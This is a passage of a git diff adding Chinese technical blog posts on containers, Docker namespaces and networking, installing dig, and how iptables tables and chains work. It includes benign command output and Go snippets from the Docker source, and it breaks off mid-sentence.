+ +所以可以看到，在容器环境下，可以很轻松的实践这十二要素，从而使得应用更容易开发、维护和部署。 + +# 容器使创业公司一开始就可以以极低的成本应用微服务架构。 + +这张图很多人应该看到过，是 Martin Fowler 提出的关于微服务和单体应用的生产率趋势的比较。 + +![](/uploads/2018/12/17-13.jpg) + +这张图要表达的意思是，如果团队使用微服务，开始可能需要花费更多的精力来搭建基础设施和架构，但是生产率可以一直维持在比较高的水平。而在创业公司，我们一般会为了速度，采用 Quick & Dirty 的方案，也就是创建一个单体应用。一开始这样会很快，但问题是，单体应用会越来越庞杂、越来越难以维护，此时就会严重影响团队生产率。 + +当生产率下降到一定程度时，团队会开始考虑服务化（包括我们杏仁也是这么做的）。但在服务化的过程中，会消耗更多的人力和资源，严重影响生产率。服务化完成之后，生产率会有一定提升，但也很难一下子达到微服务的状态，需要不断的重构并拆分服务。所以在互联网，其实大部分稍微有点规模的公司的生产率曲线是这样的： + +![](/uploads/2018/12/17-14.jpg) + +但是在容器环境下，一开始就使用微服务的话，其实生产率并不会比单体应用低多少。 + +![](/uploads/2018/12/17-15.jpg) + +这是因为容器已经提供了微服务所需要的很多基础设施，包括服务注册和发现、服务依赖和生命周期管理、负载平衡等，而且健壮性和资源利用率也会更高。如果是直接使用容器云，则运维的成本也很低。并且 SpringBoot、Service Mesh 等的工具和理念的兴起，也给微服务开发提供了一种规范，降低了开发难度。 + +当然，微服务的业务架构也是很重要的一方面，需要仔细考虑。但业务架构的设计，更多考验的架构师的能力和经验，本身并不会花太多时间。 + +所以在容器环境下，我们没有理由再去创建一个单体应用，一切都是微服务，只要业务架构设计合理，研发团队可以更专注于业务开发，生产率可以一直保持在较高水平。 + +# 容器使创业公司降低运维成本，提升运维效率，轻松实践 Devops。 + +容器环境下，很多以前的日常操作都自动化或至少半自动化了，比如比如部署、发布新应用、扩容等等，都可以很快速的响应。容器编排的自愈能力，即使除了问题，也可减少人工干预。 + +所以容器环境下的运维是幸福的，不用在苦逼的响应各种需求，可以吃着火锅唱着歌把事儿做了。大大加强了运维的幸福感，终于运维同学也可以开开心心的去谈恋爱了。 + +而开发也可以对自己的应用有更多的掌控。除了能快速频繁的部署，也可以从日志、监控中得到数据和反馈，出现问题也可以通过工具一定程度上去进行调试。 + +容器即未来 + +所以，只有在容器环境下，最近几年炒的火热的微服务、Devops 才可以更好的发挥作用。正如上一篇说的，基于容器，会逐步建议一套完整应用架构体系，而这套体系会带来革命性的改变。 + +容器即未来，而未来已来到眼前。 + +![](/uploads/2018/12/17-16.jpg) + +# 参考 +[一个创业公司的容器化之路（三）- 容器即未来](https://mp.weixin.qq.com/s/EFnCZWPvf4f3souwj8dfFg) diff --git a/_posts/2018-12-17-323-docker.md b/_posts/2018-12-17-323-docker.md new file mode 100644 index 0000000..bd8f7e9 --- /dev/null +++ b/_posts/2018-12-17-323-docker.md @@ -0,0 +1,129 @@ +--- +layout: post +title: 揭开容器的神秘面纱：帮助初学者深入了解容器技术 +pid: 323 +tags: [docker] +--- + +# 简介 + +无论你是学生，还是公司的开发人员，或是软件爱好者，相信你都听说过容器。 你可能还听说容器是轻量级虚拟机，但这究竟意味着什么，容器究竟是如何工作的，以及它们为什么如此重要呢？ + +本文将带你深入了解容器，它们的关键技术思想，以及它们的应用。 除了计算机科学的基本概念之外，你不需要该领域的其它任何先决知识。 + +# 内核和操作系统 + +你的笔记本电脑以及其它所有计算机都是基于CPU，持久存储（磁盘驱动器，SSD），内存，网卡等硬件构建的。 + +要与此硬件进行交互，操作系统中被称为内核的软件将充当硬件与系统其余部分之间的桥梁。内核负责调度要运行的进程（程序），管理设备（在磁盘和内存上读写地址）等等。 + +操作系统的其余部分用于引导和管理用户进程的运行用户空间，并将不断与内核进行交互。 + +![](/uploads/2018/12/17-17.png) + +内核是操作系统的一部分，并与硬件接口。 整个操作系统都位于“内核空间”中，而用户程序则位于“用户空间”中。 内核空间负责管理用户空间。 + +# 虚拟机 + +假定你有一台运行MacOS的计算机和一个可以在Ubuntu上运行的应用程序。一个常见的解决方案是在运行Ubuntu的MacOS计算机上启动虚拟机，然后在那里运行你的程序。 + +虚拟机由某些特定的硬件和内核虚拟化组成，运行客户操作系统。称为管理程序的软件创建虚拟化硬件，其可以包括虚拟磁盘，虚拟网络接口，虚拟CPU等。虚拟机还包括可以与此虚拟硬件通信的宾客内核。 + +管理程序可以托管，这意味着它是一些在主机操作系统（MacOS）上运行的软件，如示例中所示。它也可以是裸机，直接在机器硬件上运行（替换你的操作系统）。无论哪种方式，管理程序方法都被认为是重量级的，因为它需要虚拟化多个部分（如果不是全部硬件和内核）。 + +当同一台机器上需要有多个隔离组时，为每个组运行一个VM太繁重且浪费资源，不是一个好方法。 + +![](/uploads/2018/12/17-18.png) + +开销不按比例 + +VM需要硬件虚拟化才能实现机器级隔离，而容器则只需要在同一操作系统内进行隔离操作。 随着隔离空间数量的增加，开销差异变得非常明显。 普通的笔记本电脑可以运行数十个容器，但很难运行一台VM。 + +# cgroups + +2006年，Google的工程师发明了Linux“控制组”，缩写为cgroups。这是Linux内核的一项功能，可隔离和控制用户进程的资源使用情况。 + +这些进程可以放入命名空间，实质上是共享相同资源限制的进程集合。计算机可以有多个命名空间，每个命名空间都具有内核强制执行的资源属性。 + +我们可以管理每个命名空间的资源分配，以便限制一组进程可以使用的总CPU，RAM等的数量。例如，后台日志聚合应用程序可能需要限制其资源，以免意外地压倒它正在记录的实际服务器。 + +虽然不是原始功能，但Linux中的cgroup最终被重新设计为包含命名空间隔离的功能。命名空间隔离本身并不新鲜，Linux已经有多种命名空间隔离。一个常见的例子是进程隔离，它将每个单独的进程分开并防止诸如共享内存之类的事情。 + +cgroup隔离是一种更高级别的隔离，可确保cgroup命名空间中的进程独立于其他命名空间中的进程。下面概述了一些重要的命名空间隔离功能，为我们对容器的隔离奠定了基础。 + +- PID（进程标识符）命名空间：这可确保一个命名空间内的进程不知道其他命名空间中的进程。 +- 网络命名空间：隔离网络接口控制器，iptables，路由表和其他低级网络工具。 +- 挂载命名空间：已挂载文件系统，因此命名空间的文件系统范围仅限于已挂载的目录。 +- 用户名空间：将命名空间内的用户限制为仅限该命名空间，并避免跨命名空间的用户ID冲突。 + +简单地说，每个命名空间看起来都是它自己的机器。 + +# Linux 容器 + +Linux cgroups为一种名为Linux容器（LXC）的技术铺平了道路。 LXC实际上是我们今天所知的第一个实现容器的主要实现，利用cgroup和命名空间隔离来创建具有独立进程和网络空间的虚拟环境。 + +从某种意义上说，这允许独立和隔离的用户空间。 容器的概念直接来自LXC。 事实上，早期版本的Docker直接构建在LXC之上。 + +# Docker + +Docker是最广泛使用的容器技术，也是大多数人在引用容器时的意思。 虽然还有其他开源容器技术（如CoreOS的rkt）和大型公司构建自己的容器引擎（如谷歌的lmctfy），但Docker已成为容器化的行业标准。 它仍然建立在Linux内核和最近的Windows提供的cgroups和命名空间之上。 + +![](/uploads/2018/12/17-19.png) + +图片来源：Docker + +Docker容器由多层镜像组成，二进制文件一起打包到一个包中。 基本镜像包含容器的操作系统，该操作系统可以与主机的操作系统不同。 + +容器的操作系统是镜像形式。 这不是主机上的完整操作系统，不同之处在于镜像只是操作系统的文件系统和二进制文件，而完整的操作系统包括文件系统，二进制文件和内核。 + +在基础镜像的顶部是多个镜像，每个镜像构建容器的一部分。 例如，在基本镜像的顶部可以是包含apt-get依赖性的镜像。 最重要的可能是包含应用程序二进制文件的镜像，依此类推。 + +很酷的部分是如果有两个带有镜像层a，b，c和a，b，d的容器，那么你只需要在本地和存储库中存储每个镜像层a，b，c，d的一个副本。 这是Docker的联合文件系统。 + +![](/uploads/2018/12/17-20.png) + +由散列标识的每个镜像只是构成容器的许多可能镜像层之一。但是，容器仅由其顶级镜像标识，该镜像具有对父镜像的引用。此处显示的两个顶级镜像（镜像1和镜像2）共享前三个图层。镜像2具有两个附加的配置相关层，但与镜像1共享相同的父镜像。 + +引导容器时，将从repo下载镜像及其父镜像，创建cgroup和命名空间，并使用该镜像创建虚拟环境。在容器内，镜像中指定的文件和二进制文件似乎是整个计算机中的唯一文件。然后启动容器的主进程，并将容器视为活动状态。 + +Docker还有其他一些非常酷的功能，例如写入时复制，卷（容器之间的共享文件系统），docker守护程序（管理机器上的容器），版本控制的存储库（如容器的Github）等等。要了解有关它们的更多信息并查看有关如何使用Docker的一些实际示例，这篇Medium上的文章非常有用。 + +![](/uploads/2018/12/17-21.png) + +命令行客户端（1）告诉计算机上的进程名为docker daemon（2）该做什么。 守护程序从注册表/存储库中提取图像（3）。 这些镜像在本地计算机上缓存（4），并且可以由守护程序启动以运行容器（5）。 图片来源：Docker。 + +# 为什么使用容器 + +除了工艺隔离外，容器还具有许多其他有益的特性。 + +容器可作为一个独立的单元，可以在任何支持它的地方运行。在每个实例中，容器本身都是完全相同的。如果主机操作系统是CentOS，Ubuntu，MacOS，甚至是像Windows这样的非UNIX系统都无关紧要——从容器内部看操作系统将是容器指定的任何操作系统。因此，你可以确定你在笔记本电脑上构建的容器也将在公司的服务器上运行。 + +容器还充当标准化的工作或计算单元。一个常见的范例是每个容器运行单个Web服务器，数据库的单个分片或单个Spark工作程序等。然后，为了扩展应用程序，你只需要扩展容器的数量。 + +在这个范例中，每个容器都有一个固定的资源配置（CPU，RAM，线程数等），并且扩展应用程序需要只扩展容器的数量而不是单个资源原语。当应用程序需要按比例放大或缩小时，这为工程师提供了更容易的抽象。 + +容器也是实现微服务架构的一个很好的工具，每个微服务只是一组协作容器。例如，可以使用单个主容器和多个从容器来实现Redis微服务。 + +这种（微）服务导向架构具有一些非常重要的属性，使工程团队可以轻松创建和部署应用程序（有关更多详细信息，请参阅我之前的文章）。 + +# 编排 + +自从Linux容器出现以来，用户一直试图在许多虚拟机上部署大型应用程序，其中每个进程都在自己的容器中运行。这样做需要能够在数百个虚拟机中有效地部署数十到数千个容器，并管理他们的网络，文件系统，资源等。今天Docker使它更容易，因为它公开了抽象来定义容器网络，文件卷系统，资源配置等。 + +但是仍然需要一个工具来： + +- 真实地采取规范并将容器分配给机器（调度） +- 真实地通过Docker在机器上启动指定的容器 +- 处理升级/回滚/系统不断变化的性质 +- 应对容器崩溃等故障 +- 创建集群资源，如服务发现，VM间网络，集群入口/出口等。 + +这组问题涉及在一组（可能是瞬态的或不断变化的）容器之上构建的分布式系统的编排，人们已经建立了一些非常奇妙的系统来解决这个问题。 + +在下一篇文章中，我将深入讨论Kubernetes（主流的开源编排器）的实现，以及两个同样重要但鲜为人知的Mesos和Borg。 + +原文链接：Demystifying containers 101: a deep dive into container technology for beginners （翻译：池剑锋） + +# 参考 + +[揭开容器的神秘面纱：帮助初学者深入了解容器技术](http://dockone.io/article/8408) \ No newline at end of file diff --git a/_posts/2018-12-18-324-dig.md b/_posts/2018-12-18-324-dig.md new file mode 100644 index 0000000..0894b7d --- /dev/null +++ b/_posts/2018-12-18-324-dig.md @@ -0,0 +1,38 @@ +--- +layout: post +title: dig安装 +pid: 324 +tags: [网络] +--- + +yum install bind-utils + + +[root@iz2ze8loow3hbkxeskzsucz ~]# dig google.cn + +; <<>> DiG 9.9.4-RedHat-9.9.4-72.el7 <<>> google.cn +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47544 +;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 4096 +;; QUESTION SECTION: +;google.cn. IN A + +;; ANSWER SECTION: +google.cn. 300 IN A 203.208.41.55 +google.cn. 300 IN A 203.208.41.63 +google.cn. 300 IN A 203.208.41.47 +google.cn. 300 IN A 203.208.41.56 + +;; Query time: 157 msec +;; SERVER: 100.100.2.136#53(100.100.2.136) +;; WHEN: Tue Dec 18 10:24:32 CST 2018 +;; MSG SIZE rcvd: 102 + + +# 参考 + +[DNS 原理入门](http://www.ruanyifeng.com/blog/2016/06/dns.html) \ No newline at end of file diff --git a/_posts/2018-12-18-325-iptables.md b/_posts/2018-12-18-325-iptables.md new file mode 100644 index 0000000..b8f54eb --- /dev/null +++ b/_posts/2018-12-18-325-iptables.md @@ -0,0 +1,105 @@ +--- +layout: post +title: linux平台下防火墙iptables原理 +pid: 325 +tags: [centos] +--- + +# iptables简介 + +netfilter/iptables（简称为iptables）组成Linux平台下的包过滤防火墙，与大多数的Linux软件一样，这个包过滤防火墙是免费的，它可以代替昂贵的商业防火墙解决方案，完成封包过滤、封包重定向和网络地址转换（NAT）等功能。 + +# iptables基础 + +规则（rules）其实就是网络管理员预定义的条件，规则一般的定义为“如果数据包头符合这样的条件，就这样处理这个数据包”。规则存储在内核空间的信息包过滤表中，这些规则分别指定了源地址、目的地址、传输协议（如TCP、UDP、ICMP）和服务类型（如HTTP、FTP和SMTP）等。当数据包与规则匹配时，iptables就根据规则所定义的方法来处理这些数据包，如放行（accept）、拒绝（reject）和丢弃（drop）等。配置防火墙的主要工作就是添加、修改和删除这些规则。 + +# iptables和netfilter的关系： + +这是第一个要说的地方，Iptables和netfilter的关系是一个很容易让人搞不清的问题。很多的知道iptables却不知道netfilter。其实iptables只是Linux防火墙的管理工具而已，位于/sbin/iptables。真正实现防火墙功能的是netfilter，它是Linux内核中实现包过滤的内部结构。 + +iptables传输数据包的过程 + +1. 当一个数据包进入网卡时，它首先进入PREROUTING链，内核根据数据包目的IP判断是否需要转送出去。 +2. 如果数据包就是进入本机的，它就会沿着图向下移动，到达INPUT链。数据包到了INPUT链后，任何进程都会收到它。本机上运行的程序可以发送数据包，这些数据包会经过OUTPUT链，然后到达POSTROUTING链输出。 +3. 如果数据包是要转发出去的，且内核允许转发，数据包就会如图所示向右移动，经过FORWARD链，然后到达POSTROUTING链输出。 + +![](/uploads/2018/12/18-01.png) + +iptables的规则表和链： + +表（tables）提供特定的功能，iptables内置了4个表，即filter表、nat表、mangle表和raw表，分别用于实现包过滤，网络地址转换、包重构(修改)和数据跟踪处理。 + +链（chains）是数据包传播的路径，每一条链其实就是众多规则中的一个检查清单，每一条链中可以有一条或数条规则。当一个数据包到达一个链时，iptables就会从链中第一条规则开始检查，看该数据包是否满足规则所定义的条件。如果满足，系统就会根据该条规则所定义的方法处理该数据包；否则iptables将继续检查下一条规则，如果该数据包不符合链中任一条规则，iptables就会根据该链预先定义的默认策略来处理数据包。 + +Iptables采用“表”和“链”的分层结构。在REHL4中是三张表五个链。现在REHL5成了四张表五个链了，不过多出来的那个表用的也不太多，所以基本还是和以前一样。下面罗列一下这四张表和五个链。注意一定要明白这些表和链的关系及作用。 + +![](/uploads/2018/12/18-02.png) + +规则表： +1. filter表——三个链：INPUT、FORWARD、OUTPUT + +作用：过滤数据包 内核模块：iptables_filter. + +2. Nat表——三个链：PREROUTING、POSTROUTING、OUTPUT + +作用：用于网络地址转换（IP、端口） 内核模块：iptable_nat + +3.Mangle表——五个链：PREROUTING、POSTROUTING、INPUT、OUTPUT、FORWARD + +作用：修改数据包的服务类型、TTL、并且可以配置路由实现QOS内核模块：iptable_mangle(别看这个表这么麻烦，咱们设置策略时几乎都不会用到它) + +4.Raw表——两个链：OUTPUT、PREROUTING + +作用：决定数据包是否被状态跟踪机制处理 内核模块：iptable_raw + +(这个是REHL4没有的，不过不用怕，用的不多) + +规则链： + +1. INPUT——进来的数据包应用此规则链中的策略 +2. OUTPUT——外出的数据包应用此规则链中的策略 +3. FORWARD——转发数据包时应用此规则链中的策略 +4. PREROUTING——对数据包作路由选择前应用此链中的规则 + +（记住！所有的数据包进来的时侯都先由这个链处理） + +5.POSTROUTING——对数据包作路由选择后应用此链中的规则 + +（所有的数据包出来的时侯都先由这个链处理） + + +规则表之间的优先顺序： + +Raw——mangle——nat——filter + +规则链之间的优先顺序（分三种情况）： + +第一种情况：入站数据流向 + +从外界到达防火墙的数据包，先被PREROUTING规则链处理（是否修改数据包地址等），之后会进行路由选择（判断该数据包应该发往何处），如果数据包的目标主机是防火墙本机（比如说Internet用户访问防火墙主机中的web服务器的数据包），那么内核将其传给INPUT链进行处理（决定是否允许通过等），通过以后再交给系统上层的应用程序（比如Apache服务器）进行响应。 + +第二冲情况：转发数据流向 + +来自外界的数据包到达防火墙后，首先被PREROUTING规则链处理，之后会进行路由选择，如果数据包的目标地址是其它外部地址（比如局域网用户通过网关访问QQ站点的数据包），则内核将其传递给FORWARD链进行处理（是否转发或拦截），然后再交给POSTROUTING规则链（是否修改数据包的地址等）进行处理。 + +第三种情况：出站数据流向 + +防火墙本机向外部地址发送的数据包（比如在防火墙主机中测试公网DNS服务器时），首先被OUTPUT规则链处理，之后进行路由选择，然后传递给POSTROUTING规则链（是否修改数据包的地址等）进行处理。 + +管理和设置iptables规则 + +![](/uploads/2018/12/18-03.jpg) + +![](/uploads/2018/12/18-04.jpg) + +# 文章参考 + +1. http://netfilter.org/ iptables官方网站 +2. http://www.linux.gov.cn/netweb/iptables.htm iptables配置手册 +3. http://man.chinaunix.net/ +4. http://man.chinaunix.net/network/iptables-tutorial-cn-1.1.19.html iptables配置手册 +5. http://blog.csdn.net/thmono/archive/2010/04/08/5462043.aspx +6. http://netsecurity.51cto.com/art/200512/14457.htm +7. http://blog.sina.com.cn/s/blog_40ba724c0100jz12.html +8. http://qiliuping.blog.163.com/blog/static/1023829320105245337799/ +9. http://www.cnblogs.com/ggjucheng/archive/2012/08/19/2646466.html \ No newline at end of file diff --git a/_posts/2018-12-19-326-docker.md b/_posts/2018-12-19-326-docker.md new file mode 100644 index 0000000..8f3a75f --- /dev/null +++ b/_posts/2018-12-19-326-docker.md @@ -0,0 +1,461 @@ +--- +layout: post +title: Docker 核心技术与实现原理 +pid: 326 +tags: [docker] +--- + + +提到虚拟化技术，我们首先想到的一定是 Docker，经过四年的快速发展 Docker 已经成为了很多公司的标配，也不再是一个只能在开发阶段使用的玩具了。作为在生产环境中广泛应用的产品，Docker 有着非常成熟的社区以及大量的使用者，代码库中的内容也变得非常庞大。 + +![docker-logo](/uploads/2018/12/19-01.png) + +同样，由于项目的发展、功能的拆分以及各种奇怪的改名 [PR](https://github.com/moby/moby/pull/32691)，让我们再次理解 Docker 的的整体架构变得更加困难。 + +虽然 Docker 目前的组件较多，并且实现也非常复杂，但是本文不想过多的介绍 Docker 具体的实现细节，我们更想谈一谈 Docker 这种虚拟化技术的出现有哪些核心技术的支撑。 + +![docker-core-techs](/uploads/2018/12/19-02.png) + +首先，Docker 的出现一定是因为目前的后端在开发和运维阶段确实需要一种虚拟化技术解决开发环境和生产环境环境一致的问题，通过 Docker 我们可以将程序运行的环境也纳入到版本控制中，排除因为环境造成不同运行结果的可能。但是上述需求虽然推动了虚拟化技术的产生，但是如果没有合适的底层技术支撑，那么我们仍然得不到一个完美的产品。本文剩下的内容会介绍几种 Docker 使用的核心技术，如果我们了解它们的使用方法和原理，就能清楚 Docker 的实现原理。 + +## Namespaces + +命名空间 (namespaces) 是 Linux 为我们提供的用于分离进程树、网络接口、挂载点以及进程间通信等资源的方法。在日常使用 Linux 或者 macOS 时，我们并没有运行多个完全分离的服务器的需要，但是如果我们在服务器上启动了多个服务，这些服务其实会相互影响的，每一个服务都能看到其他服务的进程，也可以访问宿主机器上的任意文件，这是很多时候我们都不愿意看到的，我们更希望运行在同一台机器上的不同服务能做到**完全隔离**，就像运行在多台不同的机器上一样。 + +![multiple-servers-on-linux](/uploads/2018/12/19-03.png) + +在这种情况下，一旦服务器上的某一个服务被入侵，那么入侵者就能够访问当前机器上的所有服务和文件，这也是我们不想看到的，而 Docker 其实就通过 Linux 的 Namespaces 对不同的容器实现了隔离。 + +Linux 的命名空间机制提供了以下七种不同的命名空间，包括 *CLONE_NEWCGROUP*、*CLONE_NEWIPC*、*CLONE_NEWNET*、*CLONE_NEWNS*、*CLONE_NEWPID*、*CLONE_NEWUSER* 和 *CLONE_NEWUTS*，通过这七个选项我们能在创建新的进程时设置新进程应该在哪些资源上与宿主机器进行隔离。 + +### 进程 + +进程是 Linux 以及现在操作系统中非常重要的概念，它表示一个正在执行的程序，也是在现代分时系统中的一个任务单元。在每一个 \*nix 的操作系统上，我们都能够通过 *ps* 命令打印出当前操作系统中正在执行的进程，比如在 Ubuntu 上，使用该命令就能得到以下的结果： + +~~~shell +$ ps -ef +UID PID PPID C STIME TTY TIME CMD +root 1 0 0 Apr08 ? 00:00:09 /sbin/init +root 2 0 0 Apr08 ? 00:00:00 [kthreadd] +root 3 2 0 Apr08 ? 00:00:05 [ksoftirqd/0] +root 5 2 0 Apr08 ? 00:00:00 [kworker/0:0H] +root 7 2 0 Apr08 ? 00:07:10 [rcu_sched] +root 39 2 0 Apr08 ? 00:00:00 [migration/0] +root 40 2 0 Apr08 ? 00:01:54 [watchdog/0] +... +~~~ + +当前机器上有很多的进程正在执行，在上述进程中有两个非常特殊，一个是 *pid* 为 1 的 */sbin/init* 进程，另一个是 *pid* 为 2 的 *kthreadd* 进程，这两个进程都是被 Linux 中的上帝进程 *idle* 创建出来的，其中前者负责执行内核的一部分初始化工作和系统配置，也会创建一些类似 *getty* 的注册进程，而后者负责管理和调度其他的内核进程。 + +![linux-processes](/uploads/2018/12/19-04.png) + +如果我们在当前的 Linux 操作系统下运行一个新的 Docker 容器，并通过 *exec* 进入其内部的 *bash* 并打印其中的全部进程，我们会得到以下的结果： + +~~~shell +root@iZ255w13cy6Z:~# docker run -it -d ubuntu +b809a2eb3630e64c581561b08ac46154878ff1c61c6519848b4a29d412215e79 +root@iZ255w13cy6Z:~# docker exec -it b809a2eb3630 /bin/bash +root@b809a2eb3630:/# ps -ef +UID PID PPID C STIME TTY TIME CMD +root 1 0 0 15:42 pts/0 00:00:00 /bin/bash +root 9 0 0 15:42 pts/1 00:00:00 /bin/bash +root 17 9 0 15:43 pts/1 00:00:00 ps -ef +~~~ + +在新的容器内部执行 *ps* 命令打印出了非常干净的进程列表，只有包含当前 *ps -ef* 在内的三个进程，在宿主机器上的几十个进程都已经消失不见了。 + +当前的 Docker 容器成功将容器内的进程与宿主机器中的进程隔离，如果我们在宿主机器上打印当前的全部进程时，会得到下面三条与 Docker 相关的结果： + +~~~shell +UID PID PPID C STIME TTY TIME CMD +root 29407 1 0 Nov16 ? 00:08:38 /usr/bin/dockerd --raw-logs +root 1554 29407 0 Nov19 ? 00:03:28 docker-containerd -l unix:///var/run/docker/libcontainerd/docker-containerd.sock --metrics-interval=0 --start-timeout 2m --state-dir /var/run/docker/libcontainerd/containerd --shim docker-containerd-shim --runtime docker-runc +root 5006 1554 0 08:38 ? 00:00:00 docker-containerd-shim b809a2eb3630e64c581561b08ac46154878ff1c61c6519848b4a29d412215e79 /var/run/docker/libcontainerd/b809a2eb3630e64c581561b08ac46154878ff1c61c6519848b4a29d412215e79 docker-runc +~~~ + +在当前的宿主机器上，可能就存在由上述的不同进程构成的进程树： + +![docker-process-group](/uploads/2018/12/19-05.png) + +这就是在使用 *clone(2)* 创建新进程时传入 *CLONE_NEWPID* 实现的，也就是使用 Linux 的命名空间实现进程的隔离，Docker 容器内部的任意进程都对宿主机器的进程一无所知。 + +~~~go +containerRouter.postContainersStart +└── daemon.ContainerStart +    └── daemon.createSpec +    └── setNamespaces +    └── setNamespace +~~~ + +Docker 的容器就是使用上述技术实现与宿主机器的进程隔离，当我们每次运行 *docker run* 或者 *docker start* 时，都会在下面的方法中创建一个用于设置进程间隔离的 Spec： + +~~~go +func (daemon *Daemon) createSpec(c *container.Container) (*specs.Spec, error) { + s := oci.DefaultSpec() + + // ... + if err := setNamespaces(daemon, &s, c); err != nil { + return nil, fmt.Errorf("linux spec namespaces: %v", err) + } + + return &s, nil +} +~~~ + +在 *setNamespaces* 方法中不仅会设置进程相关的命名空间，还会设置与用户、网络、IPC 以及 UTS 相关的命名空间： + +~~~go +func setNamespaces(daemon *Daemon, s *specs.Spec, c *container.Container) error { + // user + // network + // ipc + // uts + + // pid + if c.HostConfig.PidMode.IsContainer() { + ns := specs.LinuxNamespace{Type: "pid"} + pc, err := daemon.getPidContainer(c) + if err != nil { + return err + } + ns.Path = fmt.Sprintf("/proc/%d/ns/pid", pc.State.GetPID()) + setNamespace(s, ns) + } else if c.HostConfig.PidMode.IsHost() { + oci.RemoveNamespace(s, specs.LinuxNamespaceType("pid")) + } else { + ns := specs.LinuxNamespace{Type: "pid"} + setNamespace(s, ns) + } + + return nil +} +~~~ + +所有命名空间相关的设置 *Spec* 最后都会作为 *Create* 函数的入参在创建新的容器时进行设置： + +~~~go +daemon.containerd.Create(context.Background(), container.ID, spec, createOptions) +~~~ + +所有与命名空间的相关的设置都是在上述的两个函数中完成的，Docker 通过命名空间成功完成了与宿主机进程和网络的隔离。 + +### 网络 + +如果 Docker 的容器通过 Linux 的命名空间完成了与宿主机进程的网络隔离，但是却有没有办法通过宿主机的网络与整个互联网相连，就会产生很多限制，所以 Docker 虽然可以通过命名空间创建一个隔离的网络环境，但是 Docker 中的服务仍然需要与外界相连才能发挥作用。 + +每一个使用 *docker run* 启动的容器其实都具有单独的网络命名空间，Docker 为我们提供了四种不同的网络模式，Host、Container、None 和 Bridge 模式。 + +![docker-network](/uploads/2018/12/19-06.png) + +在这一部分，我们将介绍 Docker 默认的网络设置模式：网桥模式。在这种模式下，除了分配隔离的网络命名空间之外，Docker 还会为所有的容器设置 IP 地址。当 Docker 服务器在主机上启动之后会创建新的虚拟网桥 docker0，随后在该主机上启动的全部服务在默认情况下都与该网桥相连。 + +![docker-network-topology](/uploads/2018/12/19-07.png) + +在默认情况下，每一个容器在创建时都会创建一对虚拟网卡，两个虚拟网卡组成了数据的通道，其中一个会放在创建的容器中，会加入到名为 docker0 网桥中。我们可以使用如下的命令来查看当前网桥的接口： + +~~~sh +$ brctl show +bridge name bridge id STP enabled interfaces +docker0 8000.0242a6654980 no veth3e84d4f + veth9953b75 +~~~ + +docker0 会为每一个容器分配一个新的 IP 地址并将 docker0 的 IP 地址设置为默认的网关。网桥 docker0 通过 iptables 中的配置与宿主机器上的网卡相连，所有符合条件的请求都会通过 iptables 转发到 docker0 并由网桥分发给对应的机器。 + +~~~sh +$ iptables -t nat -L +Chain PREROUTING (policy ACCEPT) +target prot opt source destination +DOCKER all -- anywhere anywhere ADDRTYPE match dst-type LOCAL + +Chain DOCKER (2 references) +target prot opt source destination +RETURN all -- anywhere anywhere +~~~ + +我们在当前的机器上使用 *docker run -d -p 6379:6379 redis* 命令启动了一个新的 Redis 容器，在这之后我们再查看当前 *iptables* 的 NAT 配置就会看到在 *DOCKER* 的链中出现了一条新的规则： + +~~~sh +DNAT tcp -- anywhere anywhere tcp dpt:6379 to:192.168.0.4:6379 +~~~ + +上述规则会将从任意源发送到当前机器 6379 端口的 TCP 包转发到 192.168.0.4:6379 所在的地址上。 + +这个地址其实也是 Docker 为 Redis 服务分配的 IP 地址，如果我们在当前机器上直接 ping 这个 IP 地址就会发现它是可以访问到的： + +~~~sh +$ ping 192.168.0.4 +PING 192.168.0.4 (192.168.0.4) 56(84) bytes of data. +64 bytes from 192.168.0.4: icmp_seq=1 ttl=64 time=0.069 ms +64 bytes from 192.168.0.4: icmp_seq=2 ttl=64 time=0.043 ms +^C +--- 192.168.0.4 ping statistics --- +2 packets transmitted, 2 received, 0% packet loss, time 999ms +rtt min/avg/max/mdev = 0.043/0.056/0.069/0.013 ms +~~~ + +从上述的一系列现象，我们就可以推测出 Docker 是如何将容器的内部的端口暴露出来并对数据包进行转发的了；当有 Docker 的容器需要将服务暴露给宿主机器，就会为容器分配一个 IP 地址，同时向 iptables 中追加一条新的规则。 + +![docker-network-forward](/uploads/2018/12/19-08.png) + +当我们使用 *redis-cli* 在宿主机器的命令行中访问 127.0.0.1:6379 的地址时，经过 iptables 的 NAT PREROUTING 将 ip 地址定向到了 192.168.0.4，重定向过的数据包就可以通过 iptables 中的 FILTER 配置，最终在 NAT POSTROUTING 阶段将 ip 地址伪装成 127.0.0.1，到这里虽然从外面看起来我们请求的是 127.0.0.1:6379，但是实际上请求的已经是 Docker 容器暴露出的端口了。 + +~~~sh +$ redis-cli -h 127.0.0.1 -p 6379 ping +PONG +~~~ + +Docker 通过 Linux 的命名空间实现了网络的隔离，又通过 iptables 进行数据包转发，让 Docker 容器能够优雅地为宿主机器或者其他容器提供服务。 + +#### libnetwork + +整个网络部分的功能都是通过 Docker 拆分出来的 libnetwork 实现的，它提供了一个连接不同容器的实现，同时也能够为应用给出一个能够提供一致的编程接口和网络层抽象的**容器网络模型**。 + +> The goal of libnetwork is to deliver a robust Container Network Model that provides a consistent programming interface and the required network abstractions for applications. + +libnetwork 中最重要的概念，容器网络模型由以下的几个主要组件组成，分别是 Sandbox、Endpoint 和 Network： + +![container-network-model](/uploads/2018/12/19-09.png) + +在容器网络模型中，每一个容器内部都包含一个 Sandbox，其中存储着当前容器的网络栈配置，包括容器的接口、路由表和 DNS 设置，Linux 使用网络命名空间实现这个 Sandbox，每一个 Sandbox 中都可能会有一个或多个 Endpoint，在 Linux 上就是一个虚拟的网卡 veth，Sandbox 通过 Endpoint 加入到对应的网络中，这里的网络可能就是我们在上面提到的 Linux 网桥或者 VLAN。 + +> 想要获得更多与 libnetwork 或者容器网络模型相关的信息，可以阅读 [Design · libnetwork](https://github.com/docker/libnetwork/blob/master/docs/design.md) 了解更多信息，当然也可以阅读源代码了解不同 OS 对容器网络模型的不同实现。 + +### 挂载点 + +虽然我们已经通过 Linux 的命名空间解决了进程和网络隔离的问题，在 Docker 进程中我们已经没有办法访问宿主机器上的其他进程并且限制了网络的访问，但是 Docker 容器中的进程仍然能够访问或者修改宿主机器上的其他目录，这是我们不希望看到的。 + +在新的进程中创建隔离的挂载点命名空间需要在 *clone* 函数中传入 